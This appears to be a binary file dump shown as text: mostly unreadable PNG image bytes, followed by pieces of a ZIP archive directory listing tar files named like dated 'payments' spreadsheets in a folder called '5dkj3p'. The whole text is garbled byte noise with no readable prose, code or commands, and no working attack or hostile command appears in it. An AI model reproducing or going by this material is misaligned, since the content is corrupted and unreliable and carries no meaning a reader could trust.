@��‚ܜ$T�ӎ>>�v�9�F�r2_u�O:�}S�r�QЇ�L��Z�y8�uZ"|M�+>�-׵�j@���j���`e�M�����덁���S'{Ӡ�,�<�c��ސhQ��5w�p������wꃹ�h�����z��w�\��w"��0kCW����F�# �(�F����b�p�^Oz���1w��|1�]�l�𗻎fqmמ�I���\W��>+���>"�G;�h1p�ۇ�wG�'T���q饗��?�%\P[���BL4,1i!NJS	��KŊ�g�_���lt=b��S�Ž�W*��I�~ફ������
���I	���P���_�ڭF�U
Dj�}� ^W��I�·Qz^����ЭJo�[��<I����4�_έ�D�8@�;�ݡG�
�#��^��~ tۉ�	Ӆ�i���a�|5]��_3��׼ĥ�R� -t�G���}�l��2T��F�7%�$��b���;�΢�^�����5��΄���ro���0��><��V$Q�>Ih&��^�����nh�-��4:�=Z� �r�Q�,����y�?��~B�E���[4�2;Y����F;���
6H�U��}?�b��L��I_�U;w�y�Nτڭ�g�}v����_u�<�sJ>@�xzӥ�}��R�tY����x�ղA����|)������>��笳Ί>�����
�@w ��C��G����~�i�{�<a�.���k.��az
�<�h��'h�IC�[�i5�,q/�	&-,����"�)a$_t��k��p�ח~�@���uc��n饗���F�P���曾�]H��)�-�n�T����_-@U�5�/ז��R�������diq��~�J	Q�Q�5詠6���[޽F����4X��P�k��dk	����dg�o�Ri��zN�ڠ�����k���aY�C�2�����K���
�@W�U���랭��P�[~�K�
��	�'�\�A -�_:��@u��HQ��	�rB�	��˽��/����@�7�g�JC�g���#����6���9l�?n{��:=���t�Z{�^)hם馛��&ig&-R���]�j�L"@"��/�1�Օ��bo�<qW�l٥��A������#����h=�_		�B@� ��{���+��_�mJ�T@�8��
���!��k;Z@�@	 ��h�L�	�	3�@� �A�ϣ��J`)� �E�_62U'��Έ� @�y��c�b5!�[��t� ��@�g�@�m�?����� �¿�V�D���0�� @�<
)@���b!@�@]�ua#Su��H@��G��<�-V¿�Nw!@�8��
���!��k;Z@�@	 ��h�L�	�	3�@� �A�ϣ��J`)� �E�_62U'��Έ� @�y��c�b5!�[��t� ��@�g�@�m�?����� �¿�V�D���0�� @�<
)@���b!@�@]�ua#Su��H@��G��<�-V¿�Nw!@�8��
���!��k;Z@�@	 ��h�L�	�	3�@� �A�ϣ��J`)� �E�_62U'��Έ� @�y��c�b5!�[��t� ��@�g�@�m�?����� �¿�V�D���0�� @�<
)@���b!@�@]�ua#Su��H@��G��<�-V¿�Nw!@�8��
���!��k;Z@�@	 ��h�L�	�	3�@� �A�ϣ��J`)� �E�_62U'��Έ� @�y��c�b5!�[��t� ��@�g�@�m�?����� �¿�V�D���0�� @�<
)@���b!@�@]�ua#Su��H@��G��<�-V¿�Nw!@�8��
���!��k;Z@�@	 ��h�L�	�	3�@� �A�ϣ��J`)� �E�_62U'��Έ� @�y��c�b5!�[��t� ��@�g�@�m�?����� �¿�V�D���0�� @�<
)@���b!@�@]�ua#Su��H@��G��<�-VSk	�1�?��;�G#;[a97l���5'� @�'	 �{�~��.���y�iñ�T��}���^5	 @�@Z�i�m�r�+��	�a+,Y=i0 � ��	 @M$��o"�֪�����G���L)�?b��˺�h� ��0��>N @h"�a�VU����&�㶎�-��|�Mw�UW���۽�����O?u��:��w�y�СC��[o��g�x��� @�@�2f��R,����F�S�����K��^{���?�j�?����w���� ��?6�I��#�-���F_}aY7�����_w����{��w;��2���?���ޢ�.�ƌ㦛n��x. @�?��m��O�wg�?n�
7���$����\����o��ƭ��
�g����i��ܟ��'��"��)���ǿ��[n�ȑ�3Έҭ�����o��9� @��Űc{Q���|�7�l{o�4f���s��'Gυ\}v�a��:~r�g�]w�5��뮻�ۂ(�@�rO�{f����϶����~�XZ���ƍs�j�1�������[l����{��6,��>pO=����O���\��6�l
+��
z���;���t�)�t��>�[r�%ݠA�R��uk�ʋ/��;v�X7��3����7Z�v���s?���&����Z��9眵f' ��@���dyip������>x�a��袋�۷�M�Ҏ>����Z��v�m��I]y�<>�P�v�a����O8��=�-��%�>��C��>���.��$^Zg�A����N�V_}u�3�n|����o߾�Ҝu�Yn�]v��׿�ڣp�w���Z˟{�nĈ�<�Q�+���{��/0��n��Ns�>���a�j��)��K/u!�4ܨ���zw�!���u�mӢm�s��A�?����a�&��5XXh��<��6����fpROݳ�2���-	��t�g���>��?�8��}��Q\x����G��:/��[l��|Ԟ{��
�~���9
°��+;�� �@�h�E�hf��៖0Mdo9��|����W_�9���{�V��sͬN;�%�$���vے8]|��W�f��q���$�$ૉ?�0��A�]vY��O��	&Dk�4��z���S����6�l��o����z�s�^��x�@ߎ�=JnR�Suw%l��F��s!?-��U�B8��T���m��榚j�(�����B���޺{��eE�|�����h`&A��W�;z�h��D�4ՀVA��jϟ��/?��|QA�@�1������_��������f�>��+6c�_�P�Z�M�ڵ���a��P�kvu��s���-�
;/���^�I`�w�y�ս��K~��"������[`��*4�7�hݔK��:�Ei�-�,ɻ������*U�Ξ��/�g�i&'כ�z����f���5�X#jc(�:蠒�2_�����k�
7����·��}�QG9
��p�GD��Y�~��_��W��.p;?�o�����fH���_x��K.��F;TY��ŭ��Nou�{n?�;��]�4X}�G\�>},9G@�'��Ͻ	�ځ���vޑ�L�7r
A(����]��$᯶Dž���n>����@�ハ�.=I[�j�����i$�n��f�����f��\sMw�wFu�ĄIdDžĵĽ��~�-HR�5r�_;2�l
������ݻwIB�,q-ak!�I�8�JbZ��u[�h�lܭ�����;�s����4�
�?�����~�m�#.��6@o�4���5+��b$�˽ٲ�!��?o�M{������_3�Z�iAB��3��p���\u�@nE4�j�
ә�2d�{�7|����Y[~;ʝC��҅.=i	��hA���H��,���~:rKR��oZ����팂S�kO5�<��Xh��֭��P������?咽zj���h����#����g��駟ޟDž�������i
��Չ���@	 ��h�\�9���|�Ӝ�7�F��?>���c�4+���'�r��,�����r��G�i���o쯵h����k�v�Q�6����;G.?r2�P�k�q��5j�;�}=�oz9�����#Vj����*�����rm���0H��/�x�iV���ݩT��w��"�5`|�ܪ����j��x����c-u���*���Z����G�u����T�� �.�Y*�.���8@y"��ϓ�r���aO��߄#}�MD���f5u��
��Ç����q�n;iG 	m�P��t{챇Oc�_���bI���ZL+!� W��(���GT��E�����i���-m���\��k��݌*�{��̾f�f�U0va�J�_BX���'��&,��[o�6
��y�u�˱g�ڀP�&M��4�Ӛ=��kO��r�_T�a(l�<z�	��B�_Kf���B��07S�]7r`�m
�~_�v�1W���Q�Jm%������Dž�f�U����~�+'_jh��Dc\�kW���^�\�e�C?�F��F�/�.!i�p���`��T���3OY�
-8�[�ZB%�_-�zZ(��u��x}�
���{�i{Q-\�%����r�k�h0a;
�Ri d��?��m��!��?
w��v
��w=:���-m_h��ڥF�W��__�ˎ�}�Êv�馛�@�1�+������ǖ4�� �����j?h�/v(�O9�!j�h�!�#�J3��h-����h!�x�)���>��s^�k�^A���w�7b?��ւd����+-��>�Z�k�:����ٷ$tesͤk�e3��_;)t�nk�k����溤��-�֎�?���ek�u։i��ʧ����K�U @(
�Q,��~C����t�	�m��=�\s����m���S�����6*��3.��f���rH0K�+���.<���+�Z���]h���
�p�oXN�8����G�N?�t�Um�,�B�����̿f���#��ja�M6��	P:������>ڭǶ�$��v�Q�8h@������~j���h��7#Z�a��r¿c�O�>NWn�ڠ�B���̕��C��x��6��hѯ�j��s��g�u-1.�������p�=������u/I��{��L�7���Z�k�_o����Ҭ��֣7���!�B�D����(�E��%a��Q�,oO������.&�u����W�I'�}���2���`k:�[��
��W���֤�i�I<h0���[�r�_��=ᗟ��$�@E!��/�%3׏��F�Λ����*7�-���M@+����&K�I�_BU��Xk�T�"WN�당��O���g��o뛧�5�%��V���Ֆ�����Z+���&�[kO��4�L��/�p��X?��O�4��p��P�w�:�E��{�N�k*��H�Ga����(=���J�_�>ڕ�o߾Qz�<��+68-�&$�	 ��@���`�inq���7J�7��Z��?��%{��-G����|�%l$�-H�i�~suP|��W�\y$�-���ZN��
儿f��a	�C=��k�Hm��5��	�[��h᯺$�Ð��ی툤:�VoW�6eA�6�NU��Z�M7���d?mk)�u}�f�U��V.����[�>���EAZ[rjw �~��v�u��5��u����Z��8��g?�r��� I�ҵ��l��&aP����
�ji�Do�f��O�/��OZ�a�8B�+�^-��vK�w\�[a97l��5YBo
F�p��`��uZ3�ac4+/q~�g��eϵ�Vbʾk	�	��\i%�eU�r�_�j��'\L�|
���Y��g|UG(+�Rϗ{U~��A�vJrۉ�ݭ�w���.Jڊ3���?��t��c�=��ow��x��3i�Xm�Y)�n\JgyC�Vʯ{�x��l?[-�!��?V�e�'�e�P��Z�� .�-��v�Oֽ4�|�5��ŐIA"GC��l�.L7nܸ(>�y�}�^[-��BW��o	ȅDo$$��A"S�mQjx�V��r�~�]i�`�v�ی����pH�j z��b��h}W.&IA3�a�J��_R9���w�6Fk%j�V�����f�-^6=�#<�c�9�|�v+����<��(>~";hM���ʶk�tݩ�ʰc-�_i�VHo�f(4��?���k����'	�C�,����+��w�JZ8O�5 ��@���b�io1���K�+�<a����h�Ѷ�lv߮uo�>�����5�(Ѥ���
�E�r�ˏ���oO�$�--��z������R�Xh�����:th�XXm����w��R�:�z��Suk�U����Ƭ���w҇�,hP�E�r[�}�;���Z���>�ɧ_'�wC.hZ�,>�����@�(�E�d�Q\�o��?����k�"�$�ߊ�3 ����m�{_|�“KϘ���P��(#'�@*��`�P@ g�93X~��Z�??v��hM�ִ;��J	 �Kyp�0���� @����FH�@ �`�lv�M��*�&�$���;��k�Խ�޻5A�k@��	 �[�iv�&]ʆ @]%���*1��H�_#(�A� ��@�7s+V��oE��g@��K�]��e����C� P0��4;�A�g��� 8���)H��?%�@��"����@�WgD
@� �<��n���-fp�@�@�	 �3n��6�_��r@��H�_D�f�O�L��F@� ��� �SK�� @�.�����:�uF�� @�#��o��	��b��� d��?��o����-� @���E�j&���τh @� ���QH��?%�@��"����@�WgD
@� �<��n���-fp�@�@�	 �3n��6�_��r@��H�_D�f�O�L��F@� ��� �SK�� @�.�����:�uF�� @�#��o��	��b��� d��?��o����-� @���E�j&���τh @� ���QH��?%�@��"����@�WgD
@� �<��n���-fp�@�@�	 �3n��6�_��r@��H�_D�f�O�L��F@� ��� �SK�� @�.�����:�uF�� @�#��o��	��b��� d��?��o����-� @���E�j&���τh @� ���QH��?%�@��"����@�WgD
@� �<��n���-fp�@�@�	 �3n��6�_��r@��H�_D�f�O�L��F@� ��� �SK�� @�.�����:�uF�� @�#��o��	��b��� d��?��o����-� @���E�j&���τh @� ���QH��?%�@��"����@�WgD
@� �<��n���-fp�@�@�	 �3n��6�_��r@��H�_D�f�O�L��F@� ��� �SK�� @�.�����:���c�أ����HH@�z�¿����
���'���7�G"3[ay��˻���d�M�sJ7b���$�� �H�"��.���_��Ͷ�hڸ�?�Qm�QQ��W_�xC��� �&@�7	t�USL�?�lG��c|4��=eſ���梨�F�|�����/v?��n�z�_g�u�s�QOV�@� �Q��&��*��g�����en=I⾖�VNw��}���q��S����[�/��n�Af@��E�-{�5��6kw�	����}�Rx˟WtJ\g¿Npd� �¿���O��h�$���܁��
��!�@�l�cƌ���}���=��C>-3�5!# @ W��2W�[\�_M�gI��<��>���d�M�u�]��"�kBF"@�@� �se�<5�x���x*	�ї��\}lPP�Aw,��!�'M���x�
��Ϻ�'�%�X��?���o߾�iv�y���+�裏���{�M5�Tn�y�qK-���r�)���_��{�Y�_|q7���W���Z�-��}���n��s��6���O�*k����w�����ׯ�[xᅽ}ō@�&��Ϸ�2��
AO�60(w�ڠ�Q�LK�K{���kbS<�@w�a��)��"�[lᮺ��{��w�}7�U�����*�ܖVZi�x���}��;�C�q��)�E#F�p{キ�իW��/���n��!~s�%�t��[f��و7IIDAT�e��ꫯ���N�4h�o��[n�~��_% 4��O>��xAj�~����g��� �M]	[o�����KK�\v�en���w���A䦞z�-}�i����K�a���-R�f�m�o�q�n������l���)��nN� @�k�]�E�	O���x׵
<�H��h�	g�5 ���c_I��׈c�_���|��ݝw�Y���-�������t<�z��n��xt��o���{nOBt�ȑ�����r���Zb�x�?���^{�m��?�J�_q�n���*�K�8묳�����[�.��{�'J��]���n�E)�tJn�.$�%�T���J�h��"�.��k���`�R��7�����ݬ���)�WI��S¶
0���	=
�j� ��9���;���]s� �� �k�D�.(�������
h�>��|���{�.mѯ:��t��G�x�>}�,�f�-��N��sϵ��_�"�I��K.��4����y繝w��ׯ�v��5�\Ӎ7Ω��?>j�\�f�}v����Go���+���E]Խ��+Nb_k ,���nȐ!v��	ͨ�.P�|�;��ӝ��ʾ��{������[`��k�@WO>������K���2`����3�8#ʧ�>���}��>n�tz���>�sJ0���@O�E�W����B9�}�QG�7J����{w*�[��8vE�Ǚ��rm��8B�@2�2b�M�����h���~���m?J�4��[�F-��z�-7��Fͻ�ܰaâk�H���e�ر>�駟��z�<�-VH��X����_�!�PVx�����/���g�wt\p��]O�Fb"z�M7����Z�I�e�]�
rY	]���	&tr}������#Va
H��v[_���Ǩ>��G���/�Wr)Zu�U����/����2/�(��q�|�Cc�S��&���L����
+�&�r�Rx�G���!t�U��9�`�V��Hp� �5���"u��/�kF�䄍���?��}/4|ꩧ&���CuGq��'��O<�$���|�5�����hᯁ���f���/^�wK���\s�S��� a!c�k&�>�VM��_}�9�D��~��}q���Oo�A�I'�t�������O�k��`C����v[byj��<(虈��������~���uz�������#�=~ t�¿���P�m��*����'�a~ꩧ�n8I��H�L��ĨDi���3�<�ʵ���Pk���+n�Yf	�+{�ųj�\h,�-F~�[��o쮽�ZK��?�!r�����T��]?��3��\%�`�
��ѣ;���̷v��n;�6����{F�9�h�Ў�!|��!�ha�B-TRDW��\��Ao"��\}��n�UV�e"�K�r@�f��Q��k�'��HWã�;�T�q����pR����o��z��|ʓ�$qڻwoKb\�A�a�����$�S�Z�X^�\;�h�ܶ�z!�.�zskQZ�����4ۭ�
*�o��?O�т`}�L!t]	��|��B�믿�f�u�Y���nT�W���7��ZC��I��_}��|�-��ק]��楠݌4	C8z�w|��]�Zc �����]<* �=~ t�¿���P���bom��*iA���t�s	]�i���L��0'�懭��v�i��[.���Z��܄�GAn9�.++i����b����p�~�"��o?�S�{�&-9�5���~(�K2�.ԏ��_n�u։�h���\\j	���շ/6�R��h�"q�p�V�r��,MW��ނ�
���J���o49B��¿>n�J ��?ܗߺ�]{j	�u������@����d' �Wϱ�¿3��k�Ǡ4�����S�j���<�:�E���kT���_���	ڟ^{��=ܙ���܍����v�ь��h6?\~� ����h7$�ʣ7�-����?���h���o��X��ܛ�ۋ�9�Z0��v?�~��jo�~��_�-��РN��
��erC�M���#����ȿ�Yyu�^a
�x�J_��:����_:��S!iѦU/��/�*�}���_}�WA"][Z�C=���w�$�-���񶭦�j$�����G����B�>��=\(ko)���܂�N;�HL�C88���Z���.K�z�]�۞r�\�
�e��Co>�֣���� �-�n�#sy���(���}N� �{)u�V���X���s�}��T3�I!��󟣝g�V~�MV�i��?���;�_��hW��h!�v�Qо����Gt��kl�q|W�$_ue�8g�a��8�N�4�L�:t�	����h�}�b+���?w>�`��C��F��/���+�
�l�M4�������H�˹z�!�
��Y�}�׶|]c�5���k_UF�I���'��9+(���T�r���Ľ
5��h�E�����m��s�=�$�lѬ~j���A��j��^�/q�o�V���?�����~竗�Ֆ�& �MJ��+��P��K������j 1�S�k�ȍE�(��|��Z����w]���3���Ah��-DV�F�v��l��m�Ti-�ķ����\?ᶛI_3V�Z���Y�
�od8B��¿~v�H ����x#��0��{�f���BV��گq4SoA_�]m�ռ��|Ե����QU�
���}�In4�I��rl@�uچS~�\�:���N��T�z!��}��Wzmq�D�f�� \#���C~��Z�7�[W��_��6��XhPd.B*C3���@�zӢ/��/���s�@i�5b�-�����٤�N��P���ע�i���iP��)��a
��B�!���/��,m� ~s�1G�J�:B�����2�_�נ��7:!�O�_?;rV$�o�_I�W�v����˃�`լ��a��Z�f�%�4K<`�������mR�E�'���ſI�2Lk�h�m(��`x��$e��n>�(�W���R�<Z.L�ؤ�uE�kP�7	bV)h0�� �>��>Y�5fE�<Ie�*��\rI?8
���IT�� �5���"u��!�f
��6�s�]�R�<�7]���M&��	�/R�[���>:�G?.�G��=�ؤ�>.�?�5�W�Uo� �(�����bK�����J<H0�MZ\;��S�o{�)an�-a-`�v�ն�T{��Cʒ�w��_��H�~��hg"��k�t�M7���	��cd�Nokx�5rq�v�IAoL�6m�j!�z�6����n��eoU�����TwR�c�=�4x��qЮF
b��� @�k�]�E�	�[���O�kN����ʳ5�r+
�M�T.6�M~��g�{����Қ�n�����*���H*��R������.,���1զr"5,N��h̀����J��x��y���>�����[gJ�a��������^�QA�ՠA}��d[	n
0�AL�V�6��p
@�!��ώ-
֒|C�|�JCf�J�U�װP @-M����O���iҡl@� �l�fo���-cj:
@�@. �sa�<6�G��f@��K�_\�p��=l�� @%�%8�h��XR @�>��RB"�""!@�@@����W��/���! @y"��ϓ�r�V���Ec!@(<��M�SD��y� @I�IT�k� R @h��PRP)�)� @�@�@��,�׎�/�q� @9$��ϡ���d�>�D+!@h�V�t���o:r*� @ �+��Vw ��C��� @����&Jy�<
� @ K�Y�F�ڂ�/�9� @�'��Ͻ	���V-C� @hM�ִ{z��od�� @5@�׌��]#���/RC� �t	 ����¥#�[�t� �@�g�(�h¿v�� �¿(��\?��3	
� @��	 �[�iv�&]ʆ @]%���*1��H�_#(�A� ��@�7s+V��oE��g@��K�]��e����C� P0��4;�A�g��� 8���)H��?%�@��"����@�WgD
@� �<��n���-fp�@�@�	 �3n��6�_��r@��H�_D�f�O�L��F@� ��� �SK�� @�.�����:�uF�� @�#��o��	��b��� d��?��o����-� @���E�j&���τh @� ���QH��?%�@��"����@�WgD
@� �<��n���-fp�@�@�	 �3n��6�_��r@��H�_D�f�O�L��F@� ��� �SK�� @�.�����:�uF�� @�#��o��	��b��� d��?��o����-� @���E�j&���τh @� ���QH��?%�@��"����@�WgD
@� �<��n���-fp�@�@�	 �3n��6�_��r@��H�_D�f�O�L��F@� ��� �SK�� @�.�����:�b
�1�?��<�h�����NqD@� �,@�g��jKq����Nk������/t�VZ�>7 @�@O@���
[q��1Ǐj�������|��F_sQb<�� @ +�Y�D��Q�?�l{��g�˃K���.��b���6�?Z�z�r}��u?��Oܐ!C��/��O��\���_�q��f�qƨ>]���N�<묳|[���@� P7����X�@1���k�?/���}�Y���l'�
�>�`���{�޽{WKސ��#F��e����w�������V[���9��w�iH}@��s��� �
��4�����ڹ�N;�s�=�.S=���n�e�u�qT��3�\r}�9縝w�9��	 @�#���?r�%��74�v��1c�XS�qҤI��O?u����;�3�o�ݿ��ݪ��]�y��K/����/��+�f���s�~��f�mJ⹀ @�{���G���f�M��vj�:�P�k���>��t:N�0��������w_'7�f�q�ƹ�����o�qs�5�S���O� @�����Ii�����+�_m���+�o~���
6��=ڟ�@�@� ��e���7F��W��-����[o=���7����r�9���\�VZi%�U�X.�w���Zk-���c�����iW"����J�m���i���}�Y��K�I��o�����K/uz�0p�@�~���w7�xcb޽��˝|��ނ.�^~���tDB��H�G����$35C�wU�k7��N:�7��SOuÇO�
���F����u�]�v�I�[W._8����C	��sէ�v�aw���'�x�/��Z�m��_C��_�i���gQԗx��Ӱaâ�jnRQBN @9!��ω������ڵ�+!�
p>��
��k�|��/����~����Q�2'��U�����[`�JJ5�������>���}��>J3�[n�ex��`���rՄ����ۄW^y%ʏ�Pp@!��/�!�׍����w����†n�
�K�8?��C�N>��=�o��N�4�|X^�y�|���>8��k�;S�H�%�r�����v[w�E�_P�&��8�w衇v��~@�����
@�_#f��Z��^�5iM��¿�L���\lv�e����|I���r�*	���[
�-�\�㟶��W�[l1_��<��3���1�@"��/�1�Օ���0O��?.�ML[[5����z��[��x�;ꨣ��P�k��.�Ӗ��~S�96�n7�|�ڀr����w�,��;v����ꫯv����/.M�?q�D����T��_D����# @ /�y�T�ډ�O2Yڢ_u�¿ڬ�>�u��GG�{��駟�\~B�{�º��N9�7d��$�W���nB�
7�p��{��RK-������4
�
�i�����@E#��/�E3�������+��ڸ���믿�_���wp�?�܁��»�k���/��Mf��~W��݀�f����`ۉ�����>6�<�z��A_V��	?� P@�5]B��vh��W���п>\$
�p�^��eH{�kF��7�P����c�=j�J+7��?��*$�g�m6?�H[�o����}����:G����H�_D�f�O3C��O�wZ=v�G��w�yn�w�E�*����\�o����j��?���}Q|h��������}�Xu�n#���F�_4�f�?3��o7�ѯ:�*�5s����<�_�{��W�Ҍ�O��Yz-�U����7�\6_�꣯�ڢ�5�X�i��
i
mo�oh!�\��퀙f��׫���@(����� �C[�#_�VF�v��/,�?jԨ�=���j�E�Q��	���-�-7`�XFX����a��]v���€�ip@E"��/�53՗b	�
7��
[ay7���Ce
{[cB᯶m��֝���<�|�M�=�à�Xv�aQT(���2�{zK��x�c[_|q��?�����}�/\�$��x������I3����(����'�5 �¿(��\?�!���ٮ:�5e\��Z�D�����e	|Y�d���r'�x���$�������۷��f
|\R�.���@!��/�!�׍��pG�$����O�;)N�g�a��[%q��_�Y����~Q��釉48��#è�smᩯ���Ѯ8J��ܰa�|��n�ͭ���Q�=��[v�e�k;	�����{�v��(�|}@L!�H7L8n�87p�(��SOuÇ�������w�	oq@�5��͗��G���g̃���'L����}��M����5 @��¿J���@q��y
�B��&�M @��¿J���@1� �@�2A�	3��"Z�>A� �_���.�-G�g�@4� �#��o1�7���汦&@� P�¿:#R�E�_62A� �� �SK��@� �%�,Y�PmA�ʜt� ��@��ބY��?���]� �&�kڽ	�F�72U@� ��	 �kFE®@�w��!@�@����m���-l|�@�@	 �3h�b4	�_;�@��B�_Kf��̙�A� ���-m�4;��O�.eC� ��@�w��k$P��Wѓ܏m����/j��d� @�@��B�4u�,����m�G���׹�A���,� @�*�$�߻wo׫W�NT�Ň+.��n�<ԮD���´�_S�@�
A�_3f��,Z�6A� к��k��{�u�����/�>)��!@hQ��7;�[��(<7d��	��ڄ������S@� �`]�&��hM�_[|����7���W�~:ߋ|�q�~l��o������
!@h	��������/7�oߎ(~m�Y:"��n�j�_:_b_��b_M�.?�>��U]�A}��j*� @E$ ���_�>}�x�v������Џ_g�¿�V��o�j�	��._�
^d`�[M�� @��&N��Ǝ["��_�
6�s���ip�A Y�����=��׵��?>����[e�9�	@� ��Ǐw�|��&��G��o�"L�[�%�u.yoG����P��|�����O� @�@�|����~��|L�K�窥��A�Z�~n\}�g��]�+҄~�I5���T?��N��.� @�$.�
�~(��(���n6'���T�&� ��̻�]����\��}�;da�}��@��A��|$��O(�M��QU��V����=b�h������@ۡ}���)B1�}~ts��v�
=�r*� @E!�E�Z��
;��f�yrM�[�^��]t��w�ٌ��k���o��n���] @��J�ヒ�j�>��Y}s�Q�g�a}��48��$���m�@�Eo~t]>��=cd�� @�h1�_~����7�ob߄}�h�X�]g�Ȍ�Y&�^ѷ�D�_A��߻��@�-6�1��n���^�?� @�:i)}�KǸ��|��7a?�6��^sϧ@���
&K�v������E���¿��'h�7���?�t�2��@���c��b@�rA@b����r��}�l9��A���{��:���,�=f�P���C��ŷ��_�Ry;�������x��mn?�T� @ F@�=��&M����~
��Џ_Ǫ��%¿��Q]��i^�w��c�v���:[�~{̞T@�@V	|��nܸq%n<I��~��~�����5~m�Y<"�{�*��_՗�������nI����?ǐn���ն�\=�3*� @Y `;�h���w�D�	��ř��k���o�k����ߣ�)��m-i���f�u�,�!@�؏Ru\+�T?��^mf�вӺ����<��m���P�@� P8���������\
&��(�_N�[��he�G�+(]�¿G��.���9�"�����j�o��oG/�'���8�ձ=X]Y\ǭ&���RM��� @��ZDu��ĺ��t���L��K:�˱k-(_�¿G�5Y|w:k�2ݷ��"�<J��G1�G쾉|��ߏw��N<6��o]:��)� ��H�a���G��O=3�a9Bi׆5~m�Y>"�{�:�Ew�0�&�펎m����"�S������Y�-
�cJ�7�����fJy� ��H��t��Wнj���:<�܂�g�y8"�{�J�%w�3a��n�U۹�Wqa|�e�&�����Y����{�~��
�
� �B������	~P���0�Γ���`u�u��LX�C����ә��&��	���[���'Ƿ�M������^��y�2v�� t�@\t��W!v�Ľ��rmi����`u�u^���Xj��.9븈�����A���h/fr��w��A��O��gٔk�x@��L .�����x����[��s�Ϯ�tD�g�Z��x�Ytar�"�k\w��b�iŴ�N���yy�}?kPI@�@+����Q\tn��1<�tIG�Y�<v��#�?S�,�;�E&壈R�miԹ�鬫�]�k���l��@�7�J�;~Ϯ+힨عø�Zx?���9�?s��,ԓ��u|(��Tv�q��`hP��(Ait�N��&�B� �@���-.~#���������Ϥ�&�ɓ�6����;o����i-O�Ǔ@��K��!@� P����܎"S˹�Z\���Z�T�O��8�"�O��ɣ��g�@p+1}x?��<�|:S* @-E I�����Z�C�a�0>���L[m��W3'_M>���)ɑ���Ԗ&9��6�x�C�Ɛ�@�@kH�ąi��f��0M�����V�/{Urc���3�h�����)#��ɛ� @E$PI�'݋�ůCF����t��/c��&|�>��Y�ٷ��Ͽ{ˍ���O��_���&�\}z�sS��O1��o67�T��Sq�X�
�7K���.앮&���*��DM=��¿���� Pp��zҽ�8CT鞥���X�qO�7���w�^���|�A�܃Vt�N����'Kw9r�R�4���:'L��I��>��oj�� ��r½\��v�������į��^�^���n��r���+�،��~}�KVc|���Jl�����T�R8 @�����5]��������S_��3�)6��{J���[��βmj�H�@��&��#��Z�F=:�֤�� @5�W�כ��Fe(QK
�g>��=��9m��c{�S�䖛�wnə�hP�����R5�IU�9�1�D܆ @ e�"�
cK	����uw�s�{o�c�=�1�gn��p������Ȓ�/߭Q��p�@�@*ZM��!��������:4�L\�5�p���k�ؖ�
�)���!@���؏@�������c��;s�?�u'����\��jШ���'-��@h5���,^x���q/|z]m4z8բ3n�V���nEs�?�q|��C�Z @�@;�B���u�{�����M�����l�$5$¿�4)� T'PX៧����Za���:�� @ ]��y��f֢��#��=܇ @�%P8���{�j��w��j����8��@�j!P(�}�/y~�Z���4�,vu����F��ٰ�� @�uJ�_����|��Q��>�ѐQ�*.3� �3c
@�@�(���+ݘwN,�ن͵�[r�-
�7���Ig @��B�	�v?��?ql�w��S��]�Zׯπ�g�h�F
C� @(,�B���?�=���5�:��;�����0}D�Ɣt� ��Ƚ��l��Ϯ�&N��5�O�)ݎK�\�Y�}�� @�@�r/������{�[��d���~:�6I�r��ϝ�h0 @9'�{��[�Ͽ{+�f����M5�m���%�x*��
D� @(�\���=�{�8~�<]/x���'Kג4�i��6�� @��r-�����Ǘ�,廴��[���ܳ|���A���P4� ��ȵ�o%7{����7�r� @�!�[�Մ���ߨ9�2V˶�_���%c��Zs�]�Ej@� �]���}~���̓��\��G�!ӭ�˶[��F�# @h��
�V�hW�G��B���.�� @ ���~���w�C%��7�jn����x++7�_�w!@�@�	�V�_����o^n4�\�7c���_����k$¿�!@�@:r+�/xv}����C%��b��7e������̇�� @��r+����*n�	�摋����vY��\��\#���@��!�[��?O�HNJ�m��r���f"���@��"��O�l��"�SL�� @�`r+�q��է`� @H�@n�?�{Yܛ��
� @#�[��v�l�Y���t� �J �Ÿx��T�fP8 @(��
���?�=��3Gm�Yv����X[⌦bW���fA� PX���}~���̓
k�J��G�!ӭY)I��!�3o"@�@��V�5�#w�s��ug�ůw��R[⌦B�g�04� ��ȭ�E.aK��wo�8I�n��n�E�H���8���Ec!@(�\���=�=��e0C�]Xj��Js�Y{���D�g�04� ��ȵ��S�W�ȵ�O����f���]͖���̙�A� Pp���M+����GvC��� 4�@��]�|oT�`M+�1�t�mz�����8��@�j!�{�?a���g�s'�����Mӧ��n�%nv���m†#�C�C� ��	�^�Q+|̫�
g�H�s@� �>�B�_��&n�ı����3�m������B�<HT	@�@K(�����J7�i�as�햜i�B�
�_(s�@�r@�0�_��m�{o�c9�^{��3�ѐ�-^F���� 4�@������K�߬\2S�6�]�M9gf�Ө� �E�r @�@m
%���W�w����Ck�}�S�5�p���kg���5�_7rA� �z	N��#����z�d"��f��-����ϋ�u���8�[�K���Bb Eb��E'�C]�ݢ�BW��#�y��!�$J�<$EQ$��Z�f���6_��0�����4�3����><g��Y��Dz!��B�} @��t2��?�Թc��Ϧ��-����뻏��7~h��� p7�
���٣�߿����g�z�@ysO7^�t;L�;� @�6_����p�K����
���K @�@F����0����k�o]g����	 @�[+Ћ�o�n?]~��i�+��ɸ� �5�	���y����k͇|5��G:�>�wZW�'!� @�6W�W�?����'��ʵՕ�U����\yi���w�s�4L���l8 @����ĎV��o���3>.�k�"�z�m������{ef�#2��C�[ό�"@��*�������˟�/}^������M�|��=��]˳�o�>�'��"� ��}���|��3��_�s+_m�A@���^-O>�ZY|p��c|=�ր ��S��������ʥ��� `e�[�����_4��[�m3ev��<�}���<^���u�޲�㹲sfa�=����� ��YoӪ��
 @������z�V��U @�d��۴* �� @ + ��ަU�o @�Y�6�
�@��
���iU@�[ @�@V@�g�M���* @���?�mZ�V� ��YoӪ��
 @������z�V��U @�d��۴* �� @ + ��ަU�o @�Y�6�
�@��
���iU@�[ @�@V@�g�M���* @���?�mZ�V� ��YoӪ��
 @������z�V��U @�d��۴* �� @ + ��ަU�o @�Y�6�
�@��
���iU@�[ @�@V@�g�M���* @���?�mZ�V� ��YoӪ��
 @������z�V��U @�d�^�z}}=;�4�� @���C/��-;�4�� @������_�Yuӊ� @���������7;�4�� @���_9�~}���jZ���W ��#�ncTt3IEND�B`�PK!"[��&&,5dkj3p/payments 2025-08-01 09-00-13.xlsx.tarnu�[���PK!7�!KK4\&5dkj3p/payments 2025-07-16 13-57-11.xlsx.xlsx.tar.gznu�[���PK!�@�L��@5dkj3p/5dkj3p.tarnu�[���PK!��L��4L5dkj3p/payments 2025-05-29 03-55-40.xlsx.xlsx.tar.gznu�[���PK!�#�L"",U75dkj3p/payments 2025-05-28 15-23-40.xlsx.tarnu�[���PK!I��p&&,�Y5dkj3p/payments 2025-08-01 07-45-11.xlsx.tarnu�[���PK!pR����4
